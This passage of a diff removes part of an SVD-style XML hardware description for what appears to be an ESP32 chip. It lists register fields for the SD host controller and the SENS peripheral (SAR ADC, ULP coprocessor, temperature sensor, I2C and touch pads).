-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RI</name>
-              <description>Receive Interrupt Enable. When set with Normal Interrupt Summary Enable, Receive Interrupt is enabled. When reset, Receive Interrupt is disabled.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FBE</name>
-              <description>Fatal Bus Error Enable. When set with Abnormal Interrupt Summary Enable, the Fatal Bus Error Interrupt is enabled. When reset, Fatal Bus Error Enable Interrupt is disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DU</name>
-              <description>Descriptor Unavailable Interrupt. When set along with Abnormal Interrupt Summary Enable, the DU interrupt is enabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CES</name>
-              <description>Card Error summary Interrupt Enable. When set, it enables the Card Interrupt summary.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>NI</name>
-              <description>Normal Interrupt Summary Enable. When set, a normal interrupt is enabled. When reset, a normal interrupt is disabled. This bit enables the following bits:
-IDINTEN[0]: Transmit Interrupt;
-IDINTEN[1]: Receive Interrupt.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AI</name>
-              <description>Abnormal Interrupt Summary Enable. When set, an abnormal interrupt is enabled. This bit enables the following bits:
-IDINTEN[2]: Fatal Bus Error Interrupt;
-IDINTEN[4]: DU Interrupt.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DSCADDR</name>
-          <description>Host descriptor address pointer</description>
-          <addressOffset>0x94</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>DSCADDR</name>
-              <description>Host Descriptor Address Pointer, updated by IDMAC during operation and cleared on reset. This register points to the start address of the current descriptor read by the IDMAC.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BUFADDR</name>
-          <description>Host buffer address pointer register</description>
-          <addressOffset>0x98</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUFADDR</name>
-              <description>Host Buffer Address Pointer, updated by IDMAC during operation and cleared on reset. This register points to the current Data Buffer Address being accessed by the IDMAC.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CARDTHRCTL</name>
-          <description>Card Threshold Control register</description>
-          <addressOffset>0x100</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CARDRDTHREN</name>
-              <description>Card read threshold enable.
-1'b0-Card read threshold disabled.
-1'b1-Card read threshold enabled.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARDCLRINTEN</name>
-              <description>Busy clear interrupt generation:
-1'b0-Busy clear interrypt disabled.
-1'b1-Busy clear interrypt enabled.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARDWRTHREN</name>
-              <description>Applicable when HS400 mode is enabled.
-1'b0-Card write Threshold disabled.
-1'b1-Card write Threshold enabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CARDTHRESHOLD</name>
-              <description>The inside FIFO size is 512,This register is applicable when SDHOST_CARDERTHREN_REG is set to 1 or SDHOST_CARDRDTHREN_REG set to 1.</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>EMMCDDR</name>
-          <description>eMMC DDR register</description>
-          <addressOffset>0x10C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>HALFSTARTBIT</name>
-              <description>Control for start bit detection mechanism duration of start bit.Each bit refers to one slot.Set this bit to 1 for eMMC4.5 and above,set to 0 for SD applications.For eMMC4.5,start bit can be:
-1'b0-Full cycle.
-1'b1-less than one full cycle.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HS400_MODE</name>
-              <description>Set 1 to enable HS400 mode.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ENSHIFT</name>
-          <description>Enable Phase Shift register</description>
-          <addressOffset>0x110</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ENABLE_SHIFT</name>
-              <description>Control for the amount of phase shift provided on the default enables in the design.Two bits assigned for each card.
-2'b00-Default phase shift.
-2'b01-Enables shifted to next immediate positive edge.
-2'b10-Enables shifted to next immediate negative edge.
-2'b11-Reserved.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>BUFFIFO</name>
-          <description>CPU write and read transmit data by FIFO</description>
-          <addressOffset>0x200</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>BUFFIFO</name>
-              <description>CPU write and read transmit data by FIFO. This register points to the current Data FIFO .</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLK_EDGE_SEL</name>
-          <description>SDIO control register.</description>
-          <addressOffset>0x800</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00820200</resetValue>
-          <fields>
-            <field>
-              <name>CCLKIN_EDGE_DRV_SEL</name>
-              <description>It's used to select the clock phase of the output signal from phase 0, phase 90, phase 180, phase 270.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CCLKIN_EDGE_SAM_SEL</name>
-              <description>It's used to select the clock phase of the input signal from phase 0, phase 90, phase 180, phase 270.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CCLKIN_EDGE_SLF_SEL</name>
-              <description>It's used to select the clock phase of the internal signal from phase 0, phase 90, phase 180, phase 270.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CCLLKIN_EDGE_H</name>
-              <description>The high level of the divider clock. The value should be smaller than CCLKIN_EDGE_L.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CCLLKIN_EDGE_L</name>
-              <description>The low level of the divider clock. The value should be  larger than CCLKIN_EDGE_H.</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CCLLKIN_EDGE_N</name>
-              <description>The value should be equal to CCLKIN_EDGE_L.</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESDIO_MODE</name>
-              <description>Enable esdio mode.</description>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ESD_MODE</name>
-              <description>Enable esd mode.</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CCLK_EN</name>
-              <description>Sdio clock enable</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>SENS</name>
-      <description>Peripheral SENS</description>
-      <groupName>SENS</groupName>
-      <baseAddress>0x3FF48800</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0xA8</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>SAR_READ_CTRL</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00070902</resetValue>
-          <fields>
-            <field>
-              <name>SAR1_CLK_DIV</name>
-              <description>clock divider</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_SAMPLE_CYCLE</name>
-              <description>sample cycles for SAR ADC1</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_SAMPLE_BIT</name>
-              <description>00: for 9-bit width  01: for 10-bit width  10: for 11-bit width  11: for 12-bit width</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_CLK_GATED</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_SAMPLE_NUM</name>
-              <bitOffset>19</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_DIG_FORCE</name>
-              <description>1: SAR ADC1 controlled by DIG ADC1 CTRL  0: SAR ADC1 controlled by RTC ADC1 CTRL</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_DATA_INV</name>
-              <description>Invert SAR ADC1 data</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_READ_STATUS1</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SAR1_READER_STATUS</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_MEAS_WAIT1</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000A000A</resetValue>
-          <fields>
-            <field>
-              <name>SAR_AMP_WAIT1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_AMP_WAIT2</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_MEAS_WAIT2</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0020000A</resetValue>
-          <fields>
-            <field>
-              <name>FORCE_XPD_SAR_SW</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_AMP_WAIT3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_XPD_AMP</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FORCE_XPD_SAR</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_RSTB_WAIT</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_MEAS_CTRL</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0707338F</resetValue>
-          <fields>
-            <field>
-              <name>XPD_SAR_AMP_FSM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_RST_FB_FSM</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_SHORT_REF_FSM</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>AMP_SHORT_REF_GND_FSM</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_SAR_FSM</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_RSTB_FSM</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_XPD_WAIT</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_READ_STATUS2</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SAR2_READER_STATUS</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ULP_CP_SLEEP_CYC0</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000000C8</resetValue>
-          <fields>
-            <field>
-              <name>SLEEP_CYCLES_S0</name>
-              <description>sleep cycles for ULP-coprocessor timer</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ULP_CP_SLEEP_CYC1</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000064</resetValue>
-          <fields>
-            <field>
-              <name>SLEEP_CYCLES_S1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ULP_CP_SLEEP_CYC2</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000032</resetValue>
-          <fields>
-            <field>
-              <name>SLEEP_CYCLES_S2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ULP_CP_SLEEP_CYC3</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000028</resetValue>
-          <fields>
-            <field>
-              <name>SLEEP_CYCLES_S3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ULP_CP_SLEEP_CYC4</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000014</resetValue>
-          <fields>
-            <field>
-              <name>SLEEP_CYCLES_S4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_START_FORCE</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000F</resetValue>
-          <fields>
-            <field>
-              <name>SAR1_BIT_WIDTH</name>
-              <description>00: 9 bit  01: 10 bits  10: 11bits  11: 12bits</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_BIT_WIDTH</name>
-              <description>00: 9 bit  01: 10 bits  10: 11bits  11: 12bits</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_EN_TEST</name>
-              <description>SAR2_EN_TEST  only active when reg_sar2_dig_force = 0</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_PWDET_CCT</name>
-              <description>SAR2_PWDET_CCT  PA power detector capacitance tuning.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ULP_CP_FORCE_START_TOP</name>
-              <description>1: ULP-coprocessor is started by SW  0: ULP-coprocessor is started by timer</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ULP_CP_START_TOP</name>
-              <description>Write 1 to start ULP-coprocessor  only active when reg_ulp_cp_force_start_top = 1</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SARCLK_EN</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PC_INIT</name>
-              <description>initialized PC for ULP-coprocessor</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_STOP</name>
-              <description>stop SAR ADC2 conversion</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_STOP</name>
-              <description>stop SAR ADC1 conversion</description>
-              <bitOffset>23</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR2_PWDET_EN</name>
-              <description>N/A</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_MEM_WR_CTRL</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00100200</resetValue>
-          <fields>
-            <field>
-              <name>MEM_WR_ADDR_INIT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEM_WR_ADDR_SIZE</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RTC_MEM_WR_OFFST_CLR</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>write-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_ATTEN1</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>SAR1_ATTEN</name>
-              <description>2-bit attenuation for each pad  11:1dB  10:6dB  01:3dB  00:0dB</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_ATTEN2</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>SAR2_ATTEN</name>
-              <description>2-bit attenuation for each pad  11:1dB  10:6dB  01:3dB  00:0dB</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_SLAVE_ADDR1</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2C_SLAVE_ADDR1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C_SLAVE_ADDR0</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEAS_STATUS</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_SLAVE_ADDR2</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2C_SLAVE_ADDR3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C_SLAVE_ADDR2</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_SLAVE_ADDR3</name>
-          <addressOffset>0x44</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2C_SLAVE_ADDR5</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C_SLAVE_ADDR4</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_OUT</name>
-              <description>temperature sensor data out</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TSENS_RDY_OUT</name>
-              <description>indicate temperature sensor out ready</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_SLAVE_ADDR4</name>
-          <addressOffset>0x48</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>I2C_SLAVE_ADDR7</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C_SLAVE_ADDR6</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>11</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>I2C_RDATA</name>
-              <description>I2C read data</description>
-              <bitOffset>22</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>I2C_DONE</name>
-              <description>indicate I2C done</description>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TSENS_CTRL</name>
-          <addressOffset>0x4C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00066002</resetValue>
-          <fields>
-            <field>
-              <name>TSENS_XPD_WAIT</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_XPD_FORCE</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_CLK_INV</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_CLK_GATED</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_IN_INV</name>
-              <description>invert temperature sensor data</description>
-              <bitOffset>15</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_CLK_DIV</name>
-              <description>temperature sensor clock divider</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_POWER_UP</name>
-              <description>temperature sensor power up</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_POWER_UP_FORCE</name>
-              <description>1: dump out &amp; power up controlled by SW  0: by FSM</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TSENS_DUMP_OUT</name>
-              <description>temperature sensor dump out  only active when reg_tsens_power_up_force = 1</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_I2C_CTRL</name>
-          <addressOffset>0x50</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SAR_I2C_CTRL</name>
-              <description>I2C control data  only active when reg_sar_i2c_start_force = 1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_I2C_START</name>
-              <description>start I2C  only active when reg_sar_i2c_start_force = 1</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR_I2C_START_FORCE</name>
-              <description>1: I2C started by SW  0: I2C started by FSM</description>
-              <bitOffset>29</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_MEAS_START1</name>
-          <addressOffset>0x54</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MEAS1_DATA_SAR</name>
-              <description>SAR ADC1 data</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEAS1_DONE_SAR</name>
-              <description>SAR ADC1 conversion done indication</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>MEAS1_START_SAR</name>
-              <description>SAR ADC1 controller (in RTC) starts conversion  only active when reg_meas1_start_force = 1</description>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MEAS1_START_FORCE</name>
-              <description>1: SAR ADC1 controller (in RTC) is started by SW  0: SAR ADC1 controller is started by ULP-coprocessor</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_EN_PAD</name>
-              <description>SAR ADC1 pad enable bitmap  only active when reg_sar1_en_pad_force = 1</description>
-              <bitOffset>19</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAR1_EN_PAD_FORCE</name>
-              <description>1: SAR ADC1 pad enable bitmap is controlled by SW  0: SAR ADC1 pad enable bitmap is controlled by ULP-coprocessor</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_CTRL1</name>
-          <addressOffset>0x58</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x02041000</resetValue>
-          <fields>
-            <field>
-              <name>TOUCH_MEAS_DELAY</name>
-              <description>the meas length (in 8MHz)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_XPD_WAIT</name>
-              <description>the waiting cycles (in 8MHz) between TOUCH_START and TOUCH_XPD</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_OUT_SEL</name>
-              <description>1: when the counter is greater then the threshold  the touch pad is considered as "touched"  0: when the counter is less than the threshold  the touch pad is considered as "touched"</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_OUT_1EN</name>
-              <description>1: wakeup interrupt is generated if SET1 is "touched"  0: wakeup interrupt is generated only if SET1 &amp; SET2 is both "touched"</description>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>XPD_HALL_FORCE</name>
-              <description>1: XPD HALL is controlled by SW. 0: XPD HALL is controlled by FSM in ULP-coprocessor</description>
-              <bitOffset>26</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HALL_PHASE_FORCE</name>
-              <description>1: HALL PHASE is controlled by SW  0: HALL PHASE is controlled by FSM in ULP-coprocessor</description>
-              <bitOffset>27</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_THRES1</name>
-          <addressOffset>0x5C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_OUT_TH1</name>
-              <description>the threshold for touch pad 1</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_OUT_TH0</name>
-              <description>the threshold for touch pad 0</description>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAR_TOUCH_THRES2</name>
-          <addressOffset>0x60</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TOUCH_OUT_TH3</name>
-              <description>the threshold for touch pad 3</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TOUCH_OUT_TH2</name>
